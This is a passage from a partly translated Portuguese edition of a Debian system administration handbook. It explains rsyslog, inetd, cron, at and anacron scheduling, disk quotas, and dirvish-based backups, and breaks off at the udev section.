
postfix: configuração de servidor SMTP (e-mail);

network services: configuration of the xinetd super-server;

disk quota: user quota management;

dhcpd: configuração do servidor DHCP;

proftpd: configuração do servidor FTP;

samba: configuração do servidor de arquivos Samba;

software: instalação ou remoção de programas dos pacotes Debian e atualizações de sistema.

A interface de administração está disponível em um navegador web em https://localhost:10000. Esteja atento! Nem todos os módulos estão usáveis em um primeiro momento. Às vezes eles precisam ser configurados especificando a localização dos arquivos de configuração correspondentes e alguns arquivos executáveis (programa). Frequentemente o sistema irá, educadamente, fazer perguntas a você quando falhar em ativar um módulo requisitado.

ALTERNATIVA centro de controle GNOME

O projeto GNOME também provê múltiplas interfaces de configuração que geralmente são acessíveis via a entrada “Configurações” no menu do usuário a direita no alto. O gnome-control-center é o programa principal que traz todas elas juntas, mas muitas das ferramentas de configuração do sistema como um todo são efetivamente fornecidas por outros pacotes (accountsservice, system-config-printer, etc.). Embora fáceis de usar, essas aplicações cobrem apenas um número limitado de serviços básicos: gerenciamento de usuário, configuração do horário, configuração da rede, configuração de impressora, e assim por diante.

9.4.2. Configurando Pacotes: debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

Na maioria dos casos, essas configurações são bem simples; apenas algumas variáveis importantes do arquivo de configuração são alteradas. Essas variáveis são geralmente agrupadas entre duas linhas de “demarcação” para que a reconfiguração do pacote apenas tenha impacto na área selecionada. Em outros casos, a reconfiguração não irá alterar nada se o script detectar uma modificação manual no arquivo de configuração, para preservar essas intervenções humanas (porque o script não pode garantir que suas próprias modificações não irão bagunçar as configurações existentes).

POLÍTICA DEBIAN Preservando alterações

A Política Debian estipula expressamente que tudo deve ser feito para preservar alterações manuais feitas nos arquivos de configuração, então mais e mais scripts tomam precauções na edição de arquivos de configuração. O princípio geral é simples: o script apenas faz alterações se ele sabe o status do arquivo de configuração, o qual é verificado pela comparação do checksum do arquivo em relação ao último arquivo automaticamente gerado. Se eles forem iguais, o script é autorizado a alterar o arquivo de configuração. Senão, ele determina que o arquivo foi alterado e pergunta que ação ele deve executar (instalar o novo arquivo, preservar o arquivo antigo, ou tentar integrar as novas alterações no arquivo existente). Esse princípio de precaução tem sido exclusivo do Debian, mas outras distribuições tem, gradualmente, começado a adotá-lo.

O programa ucf (do pacote Debian de mesmo nome) pode ser utilizado para implementar este comportamento.

9.5. syslog Eventos de Sistema

9.5.1. Princípio e Mecanismo

O daemon rsyslogd é responsável por coletar mensagens de serviço vindas de aplicações e do núcleo, e então despachá-las para arquivos de log (usualmente armazenados no diretório /var/log/). Ele obedece o arquivo de configuração /etc/rsyslog.conf.

Cada mensagem de log é associada com um subsistema de aplicação (chamado “facility” na documentação):

auth e authpriv: para autenticação;

cron: vem de serviços de agendamento de tarefas, cron e atd;

daemon: afeta um daemon sem nenhuma classificação especial (DNS, NTP, etc.);

ftp: relacionado ao servidor FTP;

kern: mensagem vinda do núcleo;

lpr: vem do subsistema de impressão;

mail: vem do subsistema de e-mail;

news: mensagem do subsistema Usenet (especialmente do NNTP — Network News Transfer Protocol — servidor que gerencia newsgroups);

syslog: mensagens do próprio servidor syslogd;

user: mensagens do usuário (genérico);

uucp: mensagens do servidor UUCP (Unix to Unix Copy Program, um antigo protocolo notavelmente usado para distribuir mensagens de e-mail);

local0 até local7: reservado para uso local.

Cada mensagem está associada com um nível de prioridade. Está é a lista em ordem decrescente:

emerg: “Socorro!” Existe uma emergência, o sistema provavelmente não está usável.

alert: se apresse, qualquer atraso pode ser perigoso, é preciso agir imediatamente;

crit: as condições são críticas;

err: erro;

warn: aviso (erro potencial);

notice: as condições estão normais, mas a mensagem é importante;

info: mensagem informativa;

debug: mensagem de depuração.

9.5.2. O Arquivo de Configuração

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. Sintaxe do Seletor

O seletor é uma lista separada por ponto e vírgula de pares de subsistema.prioridade (exemplo: auth.notice;mail.info). Um asterisco pode representar todos os subsistemas ou todas as prioridades (exemplos: *.alert ou mail.*). Vários subsistemas podem ser agrupados, separando-os com uma vírgula (exemplo: auth,mail.info). A prioridade indicada também cobre mensagens de prioridade igual ou mais alta; assim auth.alert indica as mensagens do subsistema auth de prioridade alert ou emerg. Prefixado com um ponto de exclamação (!), ele indica o oposto, em outras palavras as prioridades estritamente abaixo; auth.!notice, assim, indica mensagens emitidas a partir de auth, com prioridade info ou debug. Prefixada com um sinal de igual (=), ele corresponde precisamente e apenas à prioridade indicada (auth.=notice apenas se refere a mensagens vindas de auth com prioridade notice).

Cada elemento da lista no seletor sobrescreve elementos prévios. Assim é possível restringir um conjunto ou excluir certos elementos dele. Por exemplo, kern.info;kern.!err se refere a mensagens vindas do núcleo com prioridade entre info e warn. A prioridade none indica uma conjunto vazia (sem prioridades), e pode servir para excluir um subsistema de um conjunto de mensagens. Assim, *.crit;kern.none indica todas as mensagens de prioridade igual ou maior que crit não vindas do núcleo.

9.5.2.2. Sintaxe das Ações

DE VOLTA AO BÁSICO O pipe nomeado, um pipe persistente

Um pipe nomeado é um tipo particular de arquivo que opera como um pipe tradicional (o pipe que você faz com o símbolo “|” na linha de comando), mas via um arquivo. Esse mecanismo tem a vantagem de ser capaz de relacionar dois processos não relacionados. Qualquer coisa escrita em um pipe nomeado bloqueia o processo que escreve enquanto o outro processo tenta ler os dados escritos. Esse segundo processo lê os dados escritos pelo primeiro, que pode então retomar a execução.

Tal arquivo é criado com o comando mkfifo.

As várias ações possíveis são:

adiciona a mensagem a um arquivo (exemplo: /var/log/messages);

enviar a mensagem para um servidor remoto syslog (exemplo: @log.falcot.com);

envia a mensagem para um pipe nomeado existente (example: |/dev/xconsole);

envia a mensagem para um ou mais usuários, se eles estiverem logados (example: root,rhertzog);

enviar a mensagem para todos os usuário logados (exemplo: *);

escrever a mensagem em um console texto (exemplo: /dev/tty8).

SEGURANÇA Encaminhamento de logs

É uma boa ideia gravar os logs mais importantes em uma máquina separada (talvez dedicada a esse propósito), já que isso irá prevenir que qualquer possível invasor remova rastros de sua invasão (a menos, claro, que ele também comprometa esse outro servidor). Além do mais, caso aconteça um problema maior (como uma quebra do núcleo), você terá os logs disponíveis na outra máquina, o que aumenta suas chances de determinar a sequencia de eventos que causou a quebra.

Para aceitar mensagens de log enviadas por outras máquinas, você tem que reconfigurar o rsyslog: na prática, é suficiente ativar as entradas "ready-for-use entries" em /etc/rsyslog.conf ($ModLoad imudp e $UDPServerRun 514).

9.6. O super servidor inetd

Inetd (geralemente chamado de “Internet super-server”) é um servidor de servidores. Ele executa servidores, raramente usados, sob demanda, para que eles não tenham que rodar continuamente.

O arquivo /etc/inetd.conf lista esses servidores e suas portas habituais. O comando inetd ouve em todas elas; quando ele detecta uma conexão em qualquer uma delas, ele executa o programa servidor correspondente.

DEBIAN POLICY Register a server in /etc/inetd.conf

Pacotes frequentemente querem registar um novo servidor no arquivo /etc/inetd.conf, mas a Política Debian proíbe qualquer pacote de modificar um arquivo de configuração que não lhe pertença. É por isso que o script update-inetd (do pacote de mesmo nome) foi criado: ele gerencia o arquivo de configuração, assim outros pacotes podem usá-lo para registrar um novo servidor na configuração do super-servidor.

Cada linha significativa do arquivo /etc/inetd.conf descreve um servidor através de sete campos (separados por espaços):

O número da porta TCP ou UDP, ou o nome do serviço (o qual é mapeado para o número da porta padrão com a informação contida no arquivo /etc/services).

O tipo de soquete: stream para conexão TCP, dgram para datagrams UDP.

The protocol: tcp, tcp6, udp, or udp6.

As opções: dois valores possíveis: wait ou nowait, para dizer ao inetd quando ele deve esperar ou não pelo fim do processo lançado antes de aceitar outra conexão. Para conexões TCP, facilmente multiplicáveis (multiplexable) , você geralmente pode usar nowait. Para programas respondendo sobre UDP, você deve usar nowait apenas se o servidor é capaz de gerenciar várias conexões em paralelo. Você pode usar um ponto como sufixo nesse campo, seguido pelo número máximo de conexões autorizadas por minuto (o limite padrão é 256).

The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

O caminho completo para o programa servidor a ser executado.

Os argumentos: esta é uma lista completa dos argumentos do programa, incluindo seu próprio nome (argv[0] em C).

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

Exemplo 9.1. Excerto do /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols. talk dgram udp wait nobody.tty /usr/sbin/in.talkd in.talkd ntalk dgram udp wait nobody.tty /usr/sbin/in.ntalkd in.ntalkd #:INFO: Info services ident stream tcp nowait nobody /usr/sbin/nullidentd nullidentd finger stream tcp nowait nobody /usr/sbin/tcpd /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

COMUNIDADE Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in Seção 11.1, “Servidor de Correio Eletrônico”.

ALTERNATIVA Outros comandos inetd

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

A maioria dessas alternativas compartilha o mesmo arquivo de configuração /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

Por último, mas não menos importante, é até possível emular o comportamento do inetd com o mecanismo de ativação de "socket" do systemd (veja Seção 9.1.1, “O sistema init systemd”).

9.7. Agendando Tarefas com cron e atd

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

Em um sistema Unix, muitas tarefas são agendadas para execução regular:

rotacionando os logs;

atualizando o banco de dados para o programa locate;

cópias de segurança;

scripts de manutenção (como os de limpeza de arquivos temporários).

Por padrão, todos os usuários podem agendar a execução de tarefas. Cada usuário tem, assim, seu próprio crontab no qual pode gravar comandos agendados. Ele pode ser editado rodando crontab -e (seu conteúdo é armazenado no arquivo /var/spool/cron/crontabs/usuário).

SEGURANÇA Restringindo cron ou atd

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

O usuário root tem seu pŕoprio crontab, mas também pode usar o arquivo /etc/crontab, ou escrever arquivos crontab adicionais no diretório /etc/cron.d. Essas duas últimas soluções tem a vantagem de ser capaz de especificar a identidade do usuário a usar quando o comando for executado.

O pacote cron incluí por padrão alguns comandos que executam:

programas no diretório /etc/cron.hourly/ uma vez por hora;

programas no /etc/cron.daily/ uma vez por dia;

programas no /etc/cron.weekly/ uma vez por semana;

programas no /etc/cron.monthly/ uma vez por mês.

Muitos pacotes Debian contam com esse serviço: colocando scripts de manutenção nesses diretórios, eles garantem a excelente operação de seus serviços.

9.7.1. Formato do Arquivo crontab

Dica Abreviações para o cron

O cron reconhece algumas abreviações que substituem os cinco primeiros campos de uma entrada no crontab. Elas correspondem as opções de agendamento mais clássicas:

@yearly: uma vez por ano (Janeiro 1, às 00:00);

@monthly: uma vez por mês (no primeiro dia do mês, às 00:00);

@weekly: uma vez por semana (Domingo às 00:00);

@daily: uma vez por dia (às 00:00);

@hourly: uma vez por hora (no início de cada hora).

More abbreviations are recognized, like @rebootor @midnight.

CASO ESPECIAL cron e o horário de verão

No Debian, o cron leva em conta as alterações de horário (o horário de verão, ou de fato qualquer alteração significante no horário local) da melhor maneira que ele pode. Assim, os comandos que deveriam ser executados durante a hora que nunca existiu (por exemplo, tarefas agendadas para 2:30 am durante a mudança de horário na Primavera na França, já que às 2:00 am o relógio pula direto para às 3:00 am) são executadas logo após a alteração de horário (sendo então por volta das 3:00 am DST). Por outro lado, no outono, quando comandos seriam executados várias vezes (2:30 am DST, depois uma hora mais tarde às 2:30 am horário padrão, já que às 3:00 am DST o relógio volta para 2:00 am) são executados apenas uma vez.

Tenha cuidado, contudo, se a ordem na qual as diferentes tarefas agendadas e o "delay" entre suas respectivas execuções tem que ser levada em conta, você deve checar a compatibilidade desses constrangimentos com o comportamento do cron; se necessário, você pode preparar um agendamento especial para as duas noites problemáticas por ano.

Each significant line of a crontab entry describes a scheduled command with the six (or seven) following fields:

the value for the minute (from 0 to 59);

o valor para a hora (de 0 à 23);

o valor para o dia do mês (de 1 à 31);

o valor para o mês (de 1 à 12);

o valor para o dia da semana (a partir de 0 até 7, 1 correspondendo a Segunda, Domingo sendo representado tanto por 0 quanto por 7; ainda é possível usar as três primeiras letras do nome do dia da semana em Inglês, como Sun, Mon, etc.);

O nome de usuário sob cuja identidade o comando deve ser executado (no arquivo /etc/crontab e nos fragmentos localizados em /etc/cron.d/, mas não nos arquivos crontab do próprio usuário);

o comando a ser executado (quando as condições definidas nas primeiras cinco colunas estão satisfeitas).

Todos esses detalhes estão documentados na página de manual crontab(5).

Each value can also be expressed in the form of a list of possible values (separated by commas). The syntax a-b describes the interval of all the values between a and b. The syntax a-b/c describes the interval with an increment of c (example: 0-10/2 means 0,2,4,6,8,10). An asterisk * is a wildcard, representing all possible values.

Exemplo 9.2. Sample user crontab file

#Format #min hour day mon dow command # Download data every night at 7:25 pm 25 19 * * * $HOME/bin/get.pl # 8:00 am, on weekdays (Monday through Friday) 00 08 * * 1-5 $HOME/bin/dosomething # every two hours * */2 * * * $HOME/bin/dosomethingelse # Restart the IRC proxy after each reboot @reboot /usr/bin/dircproxy

DICA Executando um comando na inicialização

Para executar um comando apenas um vez, logo após a inicialização do computador, você pode usar a macro @reboot (um simples reinicio do cron não dispara um comando agendado com @reboot). Essa macro substitui os cinco primeiros campos de uma entrada em crontab.

ALTERNATIVA Emulando o cron com o systemd

É possível emular parte do comportamento do cron com o mecanismo timer do systemd (veja Seção 9.1.1, “O sistema init systemd”).

9.7.2. Usando o Comando at

The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12 or 4:12pm represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY (27.07.22 thus representing 27 July 2022), YYYY-MM-DD (this same date being expressed as 2022-07-27), MM/DD/[CC]YY (i.e., 12/25/22 or 12/25/2022 will be December 25, 2022), or simple MMDD[CC]YY (so that 122522 or 12252022 will, likewise, represent December 25, 2022). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.

$ at 09:00 27.07.22 <<END > echo "Don't forget to wish a Happy Birthday to Raphaël!" \ > | mail lolando@debian.org > END warning: commands will be executed using /bin/sh job 1 at Wed Jul 27 09:00:00 2022

Uma sintaxe alternativa adia a execução por uma dada duração: at now + número período. O período pode ser minutos, horas, dias, ou semanas. O número apenas indica o número de unidades ditas que tem que ocorrer antes da execução do comando.

Para cancelar um tarefa agendada pelo cron, apenas rode crontab -e e apague a linha correspondente no arquivo crontab. Para tarefas do at, também é fácil: rode atrm número-da-tarefa. O número da tarefa é indicado pelo comando atno momento que você vez o agendamento, mas você pode obter ele novamente com o comando atq, o qual retorna a lista corrente de tarefas agendadas.

9.8. Agendando Tarefas Assíncronas: anacron

O anacron é o daemon que completa o cron para computadores que não estão ligados o tempo todo. Como tarefas regulares geralmente são agendadas para o meio da noite, elas nunca serão executadas se o computador estiver desligado nesse momento. O propósito do anacron é executá-las, levando em consideração os períodos nos quais o computador não estiver trabalhando.

Por favor note que o anacron irá, frequentemente, executar tais atividades poucos minutos após a inicialização da máquina, o que pode deixar o computador menos responsivo. É por isso que as tarefas no arquivo /etc/anacrontab são iniciadas com o comando nice, o qual reduz suas prioridades de execução, e assim, limita seus impactos no resto do sistema. Cuidado, o formato do seu arquivo não é o mesmo do /etc/crontab; se você tem necessidades particulares com relação ao anacron, veja a página de manual anacrontab(5).

DE VOLTA AO BÁSICO Prioridades e nice

Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice program. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other process needs to run, the program will not be artificially held back.

O nice funciona com níveis de “niceness”: os níveis positivos (de 1 até 19) progressivamente baixa a prioridade, enquanto que os níveis negativos (de -1 até -20) irão incrementá-la — mas apenas o root pode usar esses níveis negativos. Salvo indicado ao contrário (veja a página de manual nice(1)), o nice incrementa o nível corrente por 10.

Se você descobrir que uma tarefa que esteja em execução deveria ter sido iniciada com o nice, não é tarde de mais para consertar isso; o comando renice altera a prioridade de um processo em andamento, em ambas as direções (porém reduzir o “niceness” de um processo é reservado ao usuário root).

A instalação do pacote anacron desativa a execução pelo cron dos scripts nos diretórios /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, e /etc/cron.monthly/. Isso evita a dupla execução pelo anacron e cron. O comando cron continua ativo e continuará a lidar com outras tarefas agendadas (especialmente as agendadas pelos usuários).

9.9. Cotas

O sistema de quotas permite limitar o espaço em disco alocado para um usuário ou grupo de usuários. Para configurá-lo, você tem que ter um núcleo habilitado para isso (compilado com a opção CONFIG_QUOTA) — como é o caso dos núcleos no Debian. O software de gerenciamento de quotas é encontrado no pacote Debian quota.

Para ativar "quota" no sistema de arquivo, você tem que indicar as opções usrquota e grpquota no /etc/fstab para quotas de usuário e grupo, respectivamente. Reiniciar o computador irá então atualizar as quotas na ausência de atividade de disco (uma condição necessária para correta contabilização de espaço de disco já utilizado).

O comando edquota usuário (ou edquota -g grupo) permite que você altere os limites enquanto examina o atual uso de espaço do disco.

INDO ALÉM Definindo quotas com um script

O programa setquota pode ser usado em um script para alterar automaticamente muitas quotas. Sua página de manual setquota(8) detalha a sintaxe a usar.

O sistema de cotas permite você definir quatro limites:

two limits (called “soft” and “hard”) refer to the number of blocks consumed. If the filesystem was created with a block-size of 1 kibibyte, the 1024 available bytes of each block can only be assigned to one file. Unsaturated blocks thus induce losses of disk space. A quota of 100 blocks, which theoretically allows storage of 102,400 bytes, will, however, be saturated with just 100 files of 500 bytes each, only representing 50,000 bytes in total.

two limits (“soft” and “hard”) refer to the number of inodes used. Each file occupies at least one inode to store information about it (permissions, owner, timestamp of last access, etc.). It is thus a limit on the number of user files.

Um limite “soft” pode ser excedido temporariamente; o usuário apenas será alertado que está excedendo a quota pelo comando warnquota, o qual geralmente é invocado pelo cron. Um limite “hard” nunca pode ser excedido: o sistema irá recusar qualquer operação que faça com que uma quota "hard" seja excedida.

VOCABULÁRIO Blocos e inodes

O sistema de arquivos divide o disco rígido em blocos — pequenas áreas contíguas. O tamanho desses blocos é definido durante a criação do sistema de arquivos, e geralmente varia entre 1 e 8 kibibytes.

Um bloco pode ser usado tanto para armazenar dados reais de um arquivo, quanto para meta-dados usados pelo sistema de arquivos. Dentre desse meta-dados, você irá encontrar especialmente os inodes. Um inode usa um bloco no disco rígido (mas esse bloco não é levado em consideração na quota de bloco, apenas na quota inode), e contém as informações sobre o arquivo o qual ele corresponde (nome, proprietário, permissões, etc.) e os ponteiros para os blocos de dados que eles realmente usam. Para arquivos realmente grandes que ocupam mais blocos do que é possível referenciar em um único inode, existe um sistema de bloco indireto; o inode referencia uma lista de blocos que não contém dados diretamente, mas outra lista de blocos.

Com o comando edquota -t, você pode definir um "período de tolerância máxima autorizado no qual um limite "soft" pode ser excedido. Após esse período, o limite "soft" será tratado como um limite "hard", e o usuário terá que reduzir seu espaço de disco usado para dentro do limite para que seja possível escrever qualquer coisa no disco rígido.

INDO ALÉM Configurando uma quota padrão para novos usuários

Para configurar automaticamente uma quota para novos usuários, você tem que configurar um usuário modelo (com edquota ou setquota) e indicar seu nome de usuário na variável QUOTAUSER no arquivo /etc/adduser.conf. Essa configuração de quota irá então ser aplicada automaticamente para cada novo usuário criado com o comando adduser.

9.10. Backup

Fazer cópias de segurança (backups) é uma das principais responsabilidades de qualquer administrador, mas é um assunto complexo, envolvendo ferramentas poderosas que geralmente são difíceis de dominar.

Many programs exist, such as amanda, bacula, or BackupPC. Those are client/server systems featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. For non-enterprise systems, administrators might want to check out rsnapshot or rdiff-backup. Users can easily create backups of their filesystems with timeshift, fsarchiver, duplicity, or even dd.

O Debian contém dezenas de outros softwares de backup que cobrem todos os casos de uso possíveis, como você pode confirmar facilmente com apt-cache search backup.

Ao invés de detalhar alguns deles, essa seção irá apresentar os pensamentos dos administradores da Falcot Corp quando eles definem sua estratégia de cópia de segurança (backup).

Para a Falcot Corp, cópias de segurança tem dois objetivos: recuperar arquivos apagados erroneamente, e restaurar rapidamente qualquer computador (servidor ou desktop) que o disco rígido tenha falhado.

9.10.1. Cópias de segurança com rsync

Fazer cópias de segurança (backups) em fita tem sido considerado muito lento e caro, os dados serão copiados em discos rígidos em um servidor dedicado, no qual com o uso de RAID em software (veja Seção 12.1.1, “RAID Por Software”) irá proteger os dados de uma falha do disco rígido. Não são feitas cópias de segurança individuais para computadores desktop, porém os usuários são avisados que suas contas pessoais em seu servidor de arquivos do departamento terão cópias de segurança. O comando rsync (do pacote com mesmo nome) é usado diariamente para fazer cópias de segurança desses diferentes servidores.

DE VOLTA AO BÁSICO A ligação forte (hard link), um segundo nome para o arquivo

Uma ligação física (hard link), ao contrário de uma ligação simbólica, não pode ser diferenciada do arquivo original. A criação de uma ligação física é, essencialmente, o mesmo que dar a um arquivo existente um segundo nome. É por isso que apagar uma ligação forte apenas remove um dos nomes associados ao arquivo. Enquanto o outro nome continuar referenciando o arquivo, os dados nele continuarão presentes no sistema de arquivos. É interessante notar que, diferentemente de uma cópia, a ligação forte não ocupa espaço adicional no disco rígido.

Um link físico é criado com o comando ln alvo ligação. O arquivo ligação é então um nome novo para o arquivo alvo. Ligações físicas apenas podem ser criadas no mesmo sistema de arquivos, enquanto que ligações simbólicas não estão sujeitas a essa limitação.

O espaço disponível no disco rígido proíbe a implementação de uma cópia de segurança (backup) completa diária. Sendo assim, o comando rsync é precedido pela duplicação do conteúdo da cópia de segurança prévia com ligações fortes, o que previne o uso de muito espaço no disco rígido. O processo rsync então apenas substitui arquivos que foram modificados desde a última cópia de segurança (backup). Com esse mecanismo um grande número de cópias de segurança podem ser mantidas em uma pequena quantidade de espaço. Como todas as cópias de segurança ficam imediatamente disponíveis e acessíveis (por exemplo, em diferentes diretórios de um dado compartilhamento na rede), você pode fazer comparações entre duas datas determinadas rapidamente.

Esse mecanismo de cópia de segurança (backup) é facilmente implementado com o programa dirvish. Ele usa um espaço de armazenamento de cópia de segurança (backup) (“bank” no seu vocabulário) no qual ele coloca cópias protocoladas de conjuntos de arquivos de cópias de segurança (backup) (esses conjuntos são chamados de “vaults” na documentação do dirvish).

A principal configuração está no arquivo /etc/dirvish/master.conf. ele define a localização do espaço de armazenamento de cópias de segurança (backup), a lista de “vaults” a gerenciar, e os valores padrão para expiração das cópias de segurança (backups). O resto da configuração está localizada nos arquivos bank/vault/dirvish/default.conf e contém as configurações específicas para os correspondentes conjuntos de arquivos.

Exemplo 9.3. O arquivo /etc/dirvish/master.conf

bank: /backup exclude: lost+found/ core *~ Runall: root 22:00 expire-default: +15 days expire-rule: # MIN HR DOM MON DOW STRFTIME_FMT * * * * 1 +3 months * * 1-7 * 1 +1 year * * 1-7 1,4,7,10 1

The bank setting indicates the directory in which the backups are stored. The exclude setting allows you to indicate files (or file types) to exclude from the backup. The Runall is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (according to /etc/cron.d/dirvish). Finally, the expire-default and expire-rule settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default one if no other expire-rule matches.

NA PRÁTICA Agendamento de expiração

As regras de expiração não são usadas pelo dirvish-expire para fazer seu trabalho. Na realidade, as regras de expiração são aplicadas ao criar uma nova cópia de backup para definir a data de expiração associada à essa cópia. dirvish-expire apenas examina as cópias armazenadas e apaga aquelas que a data de expiração já passou.

Exemplo 9.4. O arquivo /backup/root/dirvish/default.conf

client: rivendell.falcot.com tree: / xdev: 1 index: gzip image-default: %Y%m%d exclude: /var/cache/apt/archives/*.deb /var/cache/man/** /tmp/** /var/tmp/** *.bak

Os exemplos acima especificam o conjunto de arquivos que terão cópias de segurança: esses são arquivos da máquina rivendell.falcot.com (para cópias de segurança de dados locais, simplesmente especifique o nome da máquina local como indicado pelo hostname), especialmente aqueles na árvore raiz (tree: /), exceto aqueles listados em exclude. A cópia de segurança será limitada ao conteúdo de um sistema de arquivos (xdev: 1). Ela não incluirá arquivos de outros pontos de montagem. Um índice dos arquivos salvos será gerado (index: gzip), e a imagem será nomeada de acordo com a data atual (image-default: %Y%m%d).

There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault --init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.

NA PRÁTICA Cópia de segurança remota com SSH

Quando o dirvish precisa salvar dados em uma máquina remota, ele irá usar o ssh para fazer a conexão, e irá iniciar o rsync como um servidor. Isso requer que o usuário root seja capaz de automaticamente conectar a ele. O uso de uma chave de autenticação SSH permite precisamente isso (veja Seção 9.2.1.1, “Autenticação Baseado em Chave”).

9.10.2. Restaurando Máquinas sem Cópias de Segurança

Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs/USB sticks prepared with simple-cdd (see Seção 12.3.3, “Simple-CDD: A Solução Tudo-Em-Um”). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see Seção 13.3.1, “GNOME” for more information about this).

Os administradores da Falcot Corp estão cientes dos limites de sua política de cópia de segurança (backup). Como eles não podem proteger o servidor de cópia de segurança e as fitas num cofre a prova de incêndio, eles instalaram o servidor em uma sala separada, para que um desastre como um incêndio na sala do servidor não destrua as cópias de segurança junto com tudo mais. Além do mais, eles podem fazer uma cópia de segurança incremental em DVD-ROM uma vez por semana — apenas arquivos que tiverem sido modificados desde a última cópia de segurança são incluídos.

APROFUNDANDO Cópia de segurança de serviços de SQL e LDAP

Muitos serviços (como bancos de dados SQL ou LDAP) não podem ter cópias de segurança (backup) fazendo apenas cópias de seus arquivos (a menos que eles sejam interrompidos de maneira apropriada durante a criação das cópias de segurança, o que é frequentemente problemático, já que a intenção é que eles estejam disponíveis o tempo todo). Sendo assim, é necessário usar um mecanismo “export” para criar um “data dump” para se ter uma cópia de segurança segura. Essas são geralmente bem grandes, mas tem boa compressão. Para reduzir o espaço de armazenamento necessário, você apenas irá armazenar um arquivo de texto completo por semana, e um diff cada dia, que é criado com um comando do tipo diffarquivo_de_ontem arquivo_de_hoje. O programa xdelta produz diferenças incrementais a partir de "dumps" binários.

CULTURA TAR, o padrão para cópias de seguranças em fita

Historicamente, a maneira mais simples de fazer uma cópia de segurança (backup) no Unix era armazenar um arquivo TAR em uma fita. O comando tar até pegou seu nome de “Tape ARchive”.

9.11. acoplamento ativo: hotplug

9.11.1. Introdução

The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be “hotplugged“: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.

O núcleo tem um banco de dados que associa cada ID de dispositivo com o driver necessário. Esse banco de dados é usado durante a inicialização para carregar todos os drivers para dispositivos detectados nos diferentes barramentos, mas também quando um dispositivo hotplug adicional é conectado. Uma vez que o dispositivo esteja pronto para uso, uma mensagem é enviada para o udevd para que ele seja capaz de criar a entrada correspondente em /dev/.

9.11.2. O Problema da nomeação

Antes do aparecimento das conexões hotplug, era fácil determinar um nome fixo para um dispositivo. Isso era baseado simplesmente na posição dos dispositivos em seu respectivo barramento. Mas isso não é possível quando dispositivos deste tipo podem ir e vir no barramento. O típico caso é o uso de uma câmera digital e um pendrive, os dois aparecem para o computador como discos. O primeiro conectado pode ser /dev/sdb e o segundo /dev/sdc (com /dev/sda representando o próprio disco rígido do computador). O nome do dispositivo não é fixo; ele depende da ordem na qual o dispositivo é conectado.

Adicionalmente, mais e mais drivers usam valores dinâmicos para os números principal/secundário de dispositivos, o que torna impossível ter entradas estáticas para determinados dispositivos, já que essas características essenciais podem variar após uma reinicialização.

O udev foi criado precisamente para resolver esse problema.

9.11.3. Como o udev Funciona

